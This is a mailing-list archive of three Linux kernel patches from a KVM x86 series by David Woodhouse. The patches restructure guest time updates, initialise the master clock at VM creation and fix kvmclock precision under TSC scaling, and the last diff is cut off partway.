List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=OcinU7F8ySdx3TMu6WQ2XjEDb7WdPVDm7/nt9gYyqkI=; b=nAlu2ZNBFj7RoDK+o/fLPokcPX
	KZGiMkYazGDdzj9bpf/HKlVj8HK7f7ixhe5KgpXFRfvUavsKP/XW+1mnKbmAntcRTbbcHLljolYPM
	KJPrFEdxq3IELitrEtqc/4YI7yCuJQtcTEeOKHjG3LOMnLa9d16Fux5FEylebZrjqXlFLDdQc1k3k
	N8IhfhUE12DcXL/qAumkZXH/rFhnAlmBX0E1p9KzJUpjM/hrw4u12nrZOWxKbswc7IMYCrX+GRlok
	D6uOkRvBYynsEPQA0P0D5hHGvlSJJTN3s8j9++TK8jyS060zEWePMStZzeQIEC/90jumIxJsRr4wH
	otc36jbA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 11/36] KVM: x86: Restructure kvm_guest_time_update() for TSC upscaling
Date: Tue, 28 Jul 2026 15:39:51 +0100
Message-ID: <20260728144954.355376-12-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-33051d/1785250208-6D4D74E9-F02A3579/0/0
X-purgate-type: clean
X-purgate-size: 4905

From: David Woodhouse <dwmw@amazon.co.uk>

Restructure kvm_guest_time_update() so that kernel_ns/host_tsc are
always "now" when doing TSC catchup, then swap in the master clock
reference values afterward for the hv_clock.

This makes the TSC upscaling code considerably simpler: the catchup
adjustment is computed as the delta between what the guest TSC *should*
be at "now" and what it actually is, rather than mixing "now" and
"master clock reference" timestamps.

The seqcount loop now also contains the kvm_get_time_and_clockread()
call (matching get_kvmclock's pattern).

Based on a suggestion by Sean Christopherson.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 78 ++++++++++++++++++++++++++++++++--------------
 1 file changed, 54 insertions(+), 24 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 52c9268007f8..12c3d7d503ca 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1793,45 +1793,60 @@ static void kvm_setup_guest_pvclock(struct pvclock_vcpu_time_info *ref_hv_clock,
 int kvm_guest_time_update(struct kvm_vcpu *v)
 {
 	struct pvclock_vcpu_time_info hv_clock = {};
-	unsigned long flags;
 	u64 tgt_tsc_hz;
 	unsigned seq;
 	struct kvm_vcpu_arch *vcpu = &v->arch;
 	struct kvm_arch *ka = &v->kvm->arch;
 	s64 kernel_ns;
 	u64 tsc_timestamp, host_tsc;
+	u64 master_host_tsc = 0;
+	s64 master_kernel_ns = 0;
+	s64 kvmclock_offset = 0;
 	bool use_master_clock;
 
-	kernel_ns = 0;
-	host_tsc = 0;
-
 	/*
 	 * If the host uses TSC clock, then passthrough TSC as stable
 	 * to the guest.
 	 */
 	do {
 		seq = read_seqcount_begin(&ka->pvclock_sc);
+
 		use_master_clock = ka->use_master_clock;
+
+		/*
+		 * The TSC read and the call to get_cpu_tsc_khz() must happen
+		 * on the same CPU.
+		 */
+		get_cpu();
+
+		tgt_tsc_hz = (u64)get_cpu_tsc_khz() * HZ_PER_KHZ;
+
+#ifdef CONFIG_X86_64
+		if (use_master_clock &&
+		    !kvm_get_time_and_clockread(&kernel_ns, &host_tsc) &&
+		    !read_seqcount_retry(&ka->pvclock_sc, seq))
+			use_master_clock = false;
+#endif
+
+		put_cpu();
+
 		if (use_master_clock) {
-			host_tsc = ka->master_cycle_now;
-			kernel_ns = ka->master_kernel_ns;
+			master_host_tsc = ka->master_cycle_now;
+			master_kernel_ns = ka->master_kernel_ns;
+		} else {
+			local_irq_disable();
+			host_tsc = rdtsc();
+			kernel_ns = get_kvmclock_base_ns();
+			local_irq_enable();
 		}
+
+		kvmclock_offset = ka->kvmclock_offset;
 	} while (read_seqcount_retry(&ka->pvclock_sc, seq));
 
-	/* Keep irq disabled to prevent changes to the clock */
-	local_irq_save(flags);
-	tgt_tsc_hz = (u64)get_cpu_tsc_khz() * HZ_PER_KHZ;
 	if (unlikely(tgt_tsc_hz == 0)) {
-		local_irq_restore(flags);
 		kvm_make_request(KVM_REQ_CLOCK_UPDATE, v);
 		return 1;
 	}
-	if (!use_master_clock) {
-		host_tsc = rdtsc();
-		kernel_ns = get_kvmclock_base_ns();
-	}
-
-	tsc_timestamp = kvm_read_l1_tsc(v, host_tsc);
 
 	/*
 	 * We may have to catch up the TSC to match elapsed wall clock
@@ -1841,17 +1856,32 @@ int kvm_guest_time_update(struct kvm_vcpu *v)
 	 *      entry to avoid unknown leaps of TSC even when running
 	 *      again on the same CPU.  This may cause apparent elapsed
 	 *      time to disappear, and the guest to stand still or run
-	 *	very slowly.
+	 *      very slowly.
 	 */
 	if (vcpu->tsc_catchup) {
-		u64 tsc = compute_guest_tsc(v, kernel_ns);
-		if (tsc > tsc_timestamp) {
-			adjust_tsc_offset_guest(v, tsc - tsc_timestamp);
-			tsc_timestamp = tsc;
-		}
+		s64 adjustment;
+
+		/*
+		 * Calculate the delta between what the guest TSC *should* be
+		 * and what it actually is according to kvm_read_l1_tsc().
+		 */
+		adjustment = compute_guest_tsc(v, kernel_ns) -
+			     kvm_read_l1_tsc(v, host_tsc);
+		if (adjustment > 0)
+			adjust_tsc_offset_guest(v, adjustment);
 	}
 
-	local_irq_restore(flags);
+	/*
+	 * Now that TSC upscaling is out of the way, the remaining calculations
+	 * are all relative to the reference time that's placed in hv_clock.
+	 * If the master clock is NOT in use, the reference time is "now".  If
+	 * master clock is in use, the reference time comes from there.
+	 */
+	if (use_master_clock) {
+		host_tsc = master_host_tsc;
+		kernel_ns = master_kernel_ns;
+	}
+	tsc_timestamp = kvm_read_l1_tsc(v, host_tsc);
 
 	/* With all the info we got, fill in the values */
 
@@ -1871,7 +1901,7 @@ int kvm_guest_time_update(struct kvm_vcpu *v)
 	hv_clock.tsc_shift = vcpu->pvclock_tsc_shift;
 	hv_clock.tsc_to_system_mul = vcpu->pvclock_tsc_mul;
 	hv_clock.tsc_timestamp = tsc_timestamp;
-	hv_clock.system_time = kernel_ns + v->kvm->arch.kvmclock_offset;
+	hv_clock.system_time = kernel_ns + kvmclock_offset;
 	vcpu->last_guest_tsc = tsc_timestamp;
 
 	/* If the host uses TSC clocksource, then it is stable */
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374501.1621713 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8J-0006VC-U4; Tue, 28 Jul 2026 14:50:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374501.1621713; Tue, 28 Jul 2026 14:50:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8J-0006Tc-BZ; Tue, 28 Jul 2026 14:50:15 +0000
Received: by outflank-mailman (input) for mailman id 1374501;
 Tue, 28 Jul 2026 14:50:11 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8F-0005AA-9p
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8E-00EhwD-Mq; Tue, 28 Jul 2026 16:50:10 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19e-5cb7-0a2a0a5109dd-0a2a450ae24e-16
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:10 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1a2-f2d2-0a2a450a0019-5a9b32229268-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:10 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOx-21dv; Tue, 28 Jul 2026 14:49:57 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj80-00000001UZd-1F1s;
 Tue, 28 Jul 2026 15:49:56 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=AhrOLRSCrNBvlBnZAjLfNnRsdG9qHTgKeEj17ZRlPXE=; b=Ye65D5VeKg9qacBebQB2C9y+D4
	rfZL0yOdDKo/kRxCDfdORG7ZEYTbfkXtzLxIxmqK1ykPEtJpcGaawAqYU/7qIT4RGWGXWdjCscrlF
	bCu3vlfaRZRAlu01S9dMvmUgDXeZT2nBsTSo2VjuH4QPq1VmoS2S3BrZWdYR+0u9d2RqVf3fKuA0V
	gywJq1jR0pCa9egWfdF15/YQAyo0n3D44CUlCzu2I6NhtCfsMzYnkA+mn18M4Mh8vadEIH15dBCXa
	J1tvJGiQDLiDCFK41VnAhd5jol90l7b7M5AOBMX5oVisrD3Yhu4EwchONo6/BBW27mzrrAhtzoNt5
	1F/UCUhg==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 28/36] KVM: x86: Activate master clock from kvm_arch_init_vm()
Date: Tue, 28 Jul 2026 15:40:08 +0100
Message-ID: <20260728144954.355376-29-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-4011c0/1785250210-538D5CFC-318DE19E/0/0
X-purgate-type: clean
X-purgate-size: 4169

From: David Woodhouse <dwmw@amazon.co.uk>

Initialize the TSC generation and master clock state at VM creation
time, rather than relying on kvm_update_masterclock() from
kvm_arch_vcpu_postcreate().

Set cur_tsc_generation=1, cur_tsc_khz, cur_tsc_scaling_ratio,
cur_tsc_offset, cur_tsc_nsec and kvmclock_offset from an atomic
ktime/TSC snapshot. This establishes a coherent epoch so that:

 - The first vCPU synchronizes to the existing generation (getting
   the pre-computed TSC offset) rather than computing its own.
 - pvclock_update_vm_gtod_copy() succeeds immediately (no zero
   tsc_hz from uninitialized cur_tsc_scaling_ratio).
 - KVM_GET_CLOCK returns valid {host_tsc, realtime} fields as soon
   as any vCPU exists.
 - KVM_[GS]ET_CLOCK_GUEST works without a prior KVM_RUN.
 - No O(N) iteration of all vCPUs on each vCPU creation.

This replaces the kvm_update_masterclock() call that was added to
kvm_arch_vcpu_postcreate() to work around the missing initialization.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Assisted-by: Kiro (claude-opus-4.6-1m)
---
 arch/x86/kvm/x86.c | 45 +++++++++++++++++++++++++++++++++++++--------
 1 file changed, 37 insertions(+), 8 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index e8e75e47fc33..5c78dd1e4c69 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -9456,8 +9456,6 @@ void kvm_arch_vcpu_postcreate(struct kvm_vcpu *vcpu)
 		return;
 	vcpu_load(vcpu);
 	kvm_synchronize_tsc(vcpu, NULL);
-	if (!vcpu->kvm->arch.use_master_clock)
-		kvm_update_masterclock(vcpu->kvm, NULL);
 	vcpu_put(vcpu);
 
 	/* poll control enabled by default */
@@ -9867,6 +9865,8 @@ int kvm_arch_init_vm(struct kvm *kvm, unsigned long type)
 {
 	int ret;
 	unsigned long flags;
+	u64 kvmclock_host_tsc;
+	s64 kvmclock_ns;
 
 	if (!kvm_is_vm_type_supported(type))
 		return -EINVAL;
@@ -9898,18 +9898,47 @@ int kvm_arch_init_vm(struct kvm *kvm, unsigned long type)
 	seqcount_raw_spinlock_init(&kvm->arch.pvclock_sc, &kvm->arch.tsc_write_lock);
 	ratelimit_state_init(&kvm->arch.kvmclock_update_rs, HZ, 10);
 	ratelimit_set_flags(&kvm->arch.kvmclock_update_rs, RATELIMIT_MSG_ON_RELEASE);
-	kvm->arch.kvmclock_offset = -get_kvmclock_base_ns();
-	kvm->arch.all_vcpus_matched_freq = true;
-
-	raw_spin_lock_irqsave(&kvm->arch.tsc_write_lock, flags);
-	pvclock_update_vm_gtod_copy(kvm);
-	raw_spin_unlock_irqrestore(&kvm->arch.tsc_write_lock, flags);
 
 	kvm->arch.default_tsc_khz = max_tsc_khz ? : tsc_khz;
 	kvm->arch.apic_bus_cycle_ns = APIC_BUS_CYCLE_NS_DEFAULT;
 	kvm->arch.guest_can_read_msr_platform_info = true;
 	kvm->arch.enable_pmu = enable_pmu && !kvm->arch.has_protected_pmu;
 
+	kvm->arch.all_vcpus_matched_freq = true;
+	kvm->arch.all_vcpus_matched_tsc = true;
+	kvm->arch.cur_tsc_scaling_ratio = kvm_caps.default_tsc_scaling_ratio;
+	kvm->arch.cur_tsc_khz = kvm->arch.default_tsc_khz;
+
+	raw_spin_lock_irqsave(&kvm->arch.tsc_write_lock, flags);
+
+	/*
+	 * Establish the initial TSC generation for synchronization logic.
+	 * The first vCPU will sync to this, starting its guest TSC at the
+	 * number of cycles elapsed since VM creation rather than at zero.
+	 * This ensures coherence with the kvmclock epoch (also set here)
+	 * and means the master clock snapshot taken below is immediately
+	 * valid â€” no need to redo it at first vCPU creation.
+	 */
+#ifdef CONFIG_X86_64
+	if (!kvm_get_time_and_clockread(&kvmclock_ns, &kvmclock_host_tsc))
+#endif
+	{
+		/*
+		 * If not simultaneous, we want the TSC to be zero slightly
+		 * *after* the kvmclock is zero.
+		 */
+		kvmclock_ns = get_kvmclock_base_ns();
+		kvmclock_host_tsc = rdtsc();
+	}
+	kvm->arch.cur_tsc_write = 0;
+	kvm->arch.cur_tsc_offset = -(s64)kvmclock_host_tsc;
+	kvm->arch.cur_tsc_nsec = kvmclock_ns;
+	kvm->arch.cur_tsc_generation = 1;
+	kvm->arch.kvmclock_offset = -kvmclock_ns;
+
+	pvclock_update_vm_gtod_copy(kvm);
+	raw_spin_unlock_irqrestore(&kvm->arch.tsc_write_lock, flags);
+
 #if IS_ENABLED(CONFIG_HYPERV)
 	spin_lock_init(&kvm->arch.hv_root_tdp_lock);
 	kvm->arch.hv_root_tdp = INVALID_PAGE;
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374502.1621719 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8L-0006lS-6Y; Tue, 28 Jul 2026 14:50:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374502.1621719; Tue, 28 Jul 2026 14:50:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8K-0006i2-Io; Tue, 28 Jul 2026 14:50:16 +0000
Received: by outflank-mailman (input) for mailman id 1374502;
 Tue, 28 Jul 2026 14:50:12 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8G-0005Rt-Ln
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8G-003A3x-2M; Tue, 28 Jul 2026 16:50:12 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19f-2eae-0a2a0a5409dd-0a2a4505e402-16
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:12 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1a3-4cb1-0a2a45050019-5a9b3222bc50-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:11 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOh-0Qfn; Tue, 28 Jul 2026 14:49:58 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UYD-1T7S;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=603BM0sHdBDUTRG410VdsA2pe0InVJPOHZpXThbNCgI=; b=QoMc0Gt0rApdlTLKtIKDAX7CYK
	t7AZFn0Y8sQj6UPd2NDXtpvtQn0aCCVdnDkrXHVIGeIVmuzy/0TppYiJ+7bWpKQwfyV/CEc9aS+H3
	vlOPf3OyM4Sj4bS5qpWV8Y2g1i4lJp6Kr7INoozvdsEuDNwq4N7tgzziMqOEmxr8kXkOEpicrzcoN
	7jDqtR+na2Ysuou4or91lMBWFjdjcB5iUXr5w9ATZZJp5qu7EHLJVAh3Yfw+hPuNXoz+nASxRoo21
	EtupXKlluiXEaWIc0nOFLMHYLYNUGy86CgSjOj0pRS+yG8zS5c714AJOQi5ICK+AGaeo+adkhdHBh
	PjTV6E7Q==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 08/36] KVM: x86: Fix KVM clock precision in get_kvmclock() with TSC scaling
Date: Tue, 28 Jul 2026 15:39:48 +0100
Message-ID: <20260728144954.355376-9-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-c201ff/1785250212-F60AA2A1-87F69EB7/0/0
X-purgate-type: clean
X-purgate-size: 4629

From: David Woodhouse <dwmw@amazon.co.uk>

When in master clock mode, the KVM clock is defined in terms of the
guest TSC. But get_kvmclock() was computing it from the host TSC
without applying TSC scaling, leading to a systemic drift from the
values the guest computes from its own TSC.

Store the VM's TSC scaling ratio in kvm_arch and precompute the
guest-TSC-based mul/shift in pvclock_update_vm_gtod_copy(). Use these
in get_kvmclock() to scale the host TSC delta to guest TSC before
converting to nanoseconds.

This avoids "definition C" of the KVM clock described in commit
710b3a30f407 ("KVM: x86/xen: Do not corrupt KVM clock in
kvm_xen_shared_info_init()").

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/include/asm/kvm_host.h |  4 +++
 arch/x86/kvm/x86.c              | 52 +++++++++++++++++++++++++++++----
 2 files changed, 51 insertions(+), 5 deletions(-)

diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h
index bffce2167141..c3b97ca24a8c 100644
--- a/arch/x86/include/asm/kvm_host.h
+++ b/arch/x86/include/asm/kvm_host.h
@@ -1236,6 +1236,7 @@ struct kvm_arch {
 	u64 last_tsc_write;
 	u32 last_tsc_khz;
 	u64 last_tsc_offset;
+	u64 last_tsc_scaling_ratio;
 	u64 cur_tsc_nsec;
 	u64 cur_tsc_write;
 	u64 cur_tsc_offset;
@@ -1251,6 +1252,9 @@ struct kvm_arch {
 	u64 master_kernel_ns;
 	u64 master_cycle_now;
 	struct ratelimit_state kvmclock_update_rs;
+	u64 master_tsc_scaling_ratio;
+	s8  master_tsc_shift;
+	u32 master_tsc_mul;
 
 #ifdef CONFIG_KVM_HYPERV
 	struct kvm_hv hyperv;
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 51908d7093ba..c00b1e19c3af 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1247,6 +1247,7 @@ static void __kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 offset, u64 tsc,
 	kvm->arch.last_tsc_write = tsc;
 	kvm->arch.last_tsc_khz = vcpu->arch.virtual_tsc_khz;
 	kvm->arch.last_tsc_offset = offset;
+	kvm->arch.last_tsc_scaling_ratio = vcpu->arch.l1_tsc_scaling_ratio;
 
 	vcpu->arch.last_guest_tsc = tsc;
 
@@ -1559,6 +1560,8 @@ static bool kvm_get_walltime_and_clockread(struct timespec64 *ts,
  *
  */
 
+static unsigned long get_cpu_tsc_khz(void);
+
 static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 {
 #ifdef CONFIG_X86_64
@@ -1582,9 +1585,30 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 				&& !ka->backwards_tsc_observed
 				&& !ka->boot_vcpu_runs_old_kvmclock;
 
-	if (ka->use_master_clock)
+	if (ka->use_master_clock) {
+		u64 tsc_hz;
+
 		atomic_set(&kvm_guest_has_master_clock, 1);
 
+		/*
+		 * Copy the scaling ratio and precompute the mul/shift for
+		 * converting guest TSC to nanoseconds. These are used by
+		 * get_kvmclock() to compute kvmclock from the host TSC
+		 * without needing a vCPU reference.
+		 */
+		ka->master_tsc_scaling_ratio = ka->last_tsc_scaling_ratio;
+		tsc_hz = (u64)get_cpu_tsc_khz() * HZ_PER_KHZ;
+		if (tsc_hz && kvm_caps.has_tsc_control)
+			tsc_hz = kvm_scale_tsc(tsc_hz,
+					       ka->master_tsc_scaling_ratio);
+		if (tsc_hz)
+			kvm_get_time_scale(NSEC_PER_SEC, tsc_hz,
+					   &ka->master_tsc_shift,
+					   &ka->master_tsc_mul);
+		else
+			ka->use_master_clock = false;
+	}
+
